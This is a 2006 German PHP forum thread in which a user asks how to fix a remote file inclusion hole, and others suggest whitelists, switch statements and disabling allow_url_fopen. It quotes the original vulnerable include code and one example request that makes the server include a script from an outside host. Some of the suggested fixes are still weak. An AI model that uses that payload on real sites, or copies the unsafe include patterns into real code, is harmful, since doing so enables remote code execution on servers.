Delphi-PRAXiS
Seite 1 von 2  1 2      

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Programmieren allgemein (https://www.delphipraxis.net/40-programmieren-allgemein/)
-   -   [PHP] - Sicheres Includen (https://www.delphipraxis.net/75082-%5Bphp%5D-sicheres-includen.html)

fwsp 14. Aug 2006 08:58


[PHP] - Sicheres Includen
 
Hallo

ich hab jetzt zum 2. Mal Post vom Abuse-Support von 1&1 bekommen mein Skript wäre unsicher.
Anscheinend kann man beliebige Seiten inkludieren. Kann mir sagen, wie ich die Sicherheit erhöhen kann?

Hier der Code-Schnipsel:
Code:
<?php
  if ($Site <> '')
  {
    include $_SERVER['DOCUMENT_ROOT'].'/'.$Sec.$Site;
  }
  else
  {
    include $Sec.'home.php';
  }
?>
Danke.

Klaus-B.Schmidt 14. Aug 2006 09:13

Re: [PHP] - Sicheres Includen
 
Hallo, ich weiß nicht, was du jetzt genau mit sicheres Includen meinst, aber ich löse dass immer so:

Hauptdatei:
Code:
<?php
define("can_inc", true);

if ($start=="main") {
    include("inc/start.inc.php");
}

?>
und die Include Datei dazu:
Code:
<?php
if (!defined("can_inc")) die('Zugriff verweigert!
Access denided');
/* ... */
?>
so, das ganze dient dazu, dass die zu includierende Datei "Zugriff verweigert! Access denided" ausgibt, soibald in der Datei, von deraus die zu Includierende Datei includiert wird can_inc definiert wurde. (Siehe code)

Hoffe das hilft dir ein wenig :)

MfG

alcaeus 14. Aug 2006 09:16

Re: [PHP] - Sicheres Includen
 
Moin,

ich gehe mal davon aus, dass register_globals aktiv ist? Dann mach ich z.B. sowas:
Code:
GET deinskript.php?Sec=http://meineseite.de/boesesscript.php?
Ergebnis:
Code:
include('http://meineseite.de/boesesscript.php?home.php');
Mach z.B. immer sowas:
Code:
include './'. $Sec .'home.php';
Weiters solltest du bei den Leuten anfragen, was genau das Problem zu sein scheint, und wie sie von der Luecke wissen (wollen).

@Klaus-B: das mit can_inc hilft in diesem Fall gar nicht. Remote code inclusion bedeutet dass Code von einem fremden Server eingebunden wird, und nicht dass deine Dateien von einem nicht-autorisierten File aufgerufen werden ;)

Greetz
alcaeus

faux 14. Aug 2006 09:29

Re: [PHP] - Sicheres Includen
 
Hallo Friedrich!

Was genau sind denn $Sec und $Site? Sind das Variablen die per GET oder POST (oder COOKIE) übergeben werden?
Wenn ja, würde ich ev. eine Liste machen, mit Seiten die Inklidiert werden dürfen.
Naja, ich habs so gemacht:

Code:
[color=#808080][/color]
[color=#000080][b]<?php[/b][/color]
[color=#FF8000]//
// Include content.
//[/color]
[color=#800080]if[/color] (file_exists([color=#008000]'./'[/color] . [color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'.php'[/color]))
{
   [color=#800080]include[/color]([color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'.php'[/color]);
}
[color=#800080]elseif[/color] (file_exists([color=#008000]'./'[/color] . [color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'/index.php'[/color]))
{
   [color=#800080]include[/color]([color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'/index.php'[/color]);
}
[color=#800080]else[/color]
{
   [color=#800080]include[/color]([color=#008000]'404.php'[/color]);
}
[color=#800080]echo[/color] [color=#008000]"\n"[/color];
[color=#000080][b]?>[/b][/color]
[color=#808080][/color]
Durch das file_exists('./' . $_GET['page'] . '.php') prüfe ich, ob die Datei im Selben Verzeichnis ist und mit file_exists('./' . $_GET['page'] . '/index.php') kann ich dann auch index-Dateien aus Unterordnern inkludieren. Also irgend was unterhalb meines htdocs-Paths bzw. unterhalb meines Hauptindex-Paths kann da nicht inkludiert werden, da ich in $_GET['page'] vorher noch alle Slash, Backslash und Punkte entferne (braucht man für den normalen Betrieb auch nicht). Das könnte nochwichtig sein.

Zitat:

Zitat von alcaeus
ich gehe mal davon aus, dass register_globals aktiv ist?

OK, daran denke ich schon mal garnichtmehr, ich gehe immer davon aus, dann das aus ist. ;)
Naja, aber die Variable durch $site = preg_replace('/[\\\\\/.:]*/', '', $site); jagen, ist sicherlich kein Fehler. ;)

Grüße
Faux

alcaeus 14. Aug 2006 10:41

Re: [PHP] - Sicheres Includen
 
Zitat:

Zitat von faux
OK, daran denke ich schon mal garnichtmehr, ich gehe immer davon aus, dann das aus ist. ;)

Schoen waers, traurige Wahrheit ist, dass es bei den meisten Hostern an ist, und der 0815-PHPler keinen Plan hat was es ist.

Zitat:

Zitat von faux
Naja, aber die Variable durch $site = preg_replace('/[\\\\\/.:]*/', '', $site); jagen, ist sicherlich kein Fehler. ;)

Noch eine Stufe besser: explizit sagen was erlaubt ist:
Code:
$site = (isset($_GET['site'])) ? $_GET['site'] : '';
$allowed_sites = array('main', 'contact', 'foo', 'bar');
if (!in_array($site, $allowed_sites))
{
  $site = 'main';
}
include('./'. $site .'.php');
Und schon gibts keinen Weg mehr, da RFI zu betreiben. So einfach kanns sein, ich versteh sowieso nicht, wie man eine Seite darauf aufbauen kann, die einzubindende Datei ueber die URL festlegen zu lassen. Nichts fuer ungut, aber echt :wall:

Greetz
alcaeus

Meflin 14. Aug 2006 11:26

Re: [PHP] - Sicheres Includen
 
Zitat:

Zitat von alcaeus
ich versteh sowieso nicht, wie man eine Seite darauf aufbauen kann, die einzubindende Datei ueber die URL festlegen zu lassen. Nichts fuer ungut, aber echt :wall:

ähm, es ist halt recht komfortabel :stupid: wie würdest du es denn machen... ich meine deine obige Lösung beriht ja auch noch darauf die einzubindende Seite über die URL festlegen zu lassen.


alcaeus 14. Aug 2006 11:45

Re: [PHP] - Sicheres Includen
 
Zitat:

Zitat von Meflin
ähm, es ist halt recht komfortabel :stupid: wie würdest du es denn machen... ich meine deine obige Lösung beriht ja auch noch darauf die einzubindende Seite über die URL festlegen zu lassen.

Ja, das ist eine Art "Zwischenloesung", die ich persoenlich aber auch nicht verwenden wuerde. So kann ich wenigstens noch festlegen, was der Benutzer machen kann/darf.

Wenn ich dynamische Webseiten erstelle, und auf sowas zurueckgreifen muss, dann liegen die Module normalerweise in der Datenbank, und werden ueber eine ID oder einen sprechenden Namen aufgerufen (z.B. something.php?module=settings). So muss ich nur ein neues Modul hochladen, es in der Datenbank freischalten (das Panel zeigt nicht registrierte Module speziell an), und es wird auch sofort im Menue verlinkt. So muss ich nicht bei jedem Update die PHP-Dateien aendern, sondern kann ueber ein Update-Script vorgehn, und ich habe trotzdem eine grosse Sicherheit, da der Input ja ueber die Datenbank validiert wird (mal angenommen dass der Programmierer weiss wie er Datenbank-Queries absichert).

Greetz
alcaeus

faux 14. Aug 2006 16:04

Re: [PHP] - Sicheres Includen
 
ALso ich mach das meistens so wie alcaeus mit den Modulen deren ID dann aus der DB ausgelesen wird, aber manchmal auch oft einfach per switch:
Code:
switch (strtolower($GET['page'))
{
  case 'news':
    include('news.php');
    break;
}
Und dann sieht die URL so aus: ./?page=news&id=23 das heißt: Modul News, Datensatz 23.

Grüße
Faux

alcaeus 14. Aug 2006 16:11

Re: [PHP] - Sicheres Includen
 
Zitat:

Zitat von faux
aber manchmal auch oft einfach per switch:

Genau. Wenn du nicht oft Module hinzufuegst, ist dies gut genug.

Wichtig ist nur, dass du GPC-Daten nicht ungefiltert verwendest; sei es in SQL-Queries, include-Dateien usw. Gegen RFI hilft aber auch schon, allow_url_fopen zu deaktivieren.

Greetz
alcaeus

faux 14. Aug 2006 16:18

Re: [PHP] - Sicheres Includen
 
alcaeus, was genau verstehst du unter RFI?
Naja, wenn man soo oft Module hinzufügt, dass man das nicht in einer Datei der switch-Direktive hinzufügen kann, dann ist man mit dieser Art von Template-System schlecht bedient. ;)

Grüße
Faux

Zitat:

Zitat von faux
aber manchmal auch oft einfach per switch:

...manchmal auch oft... :roll:


Alle Zeitangaben in WEZ +1. Es ist jetzt 19:26 Uhr.
Seite 1 von 2  1 2      

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz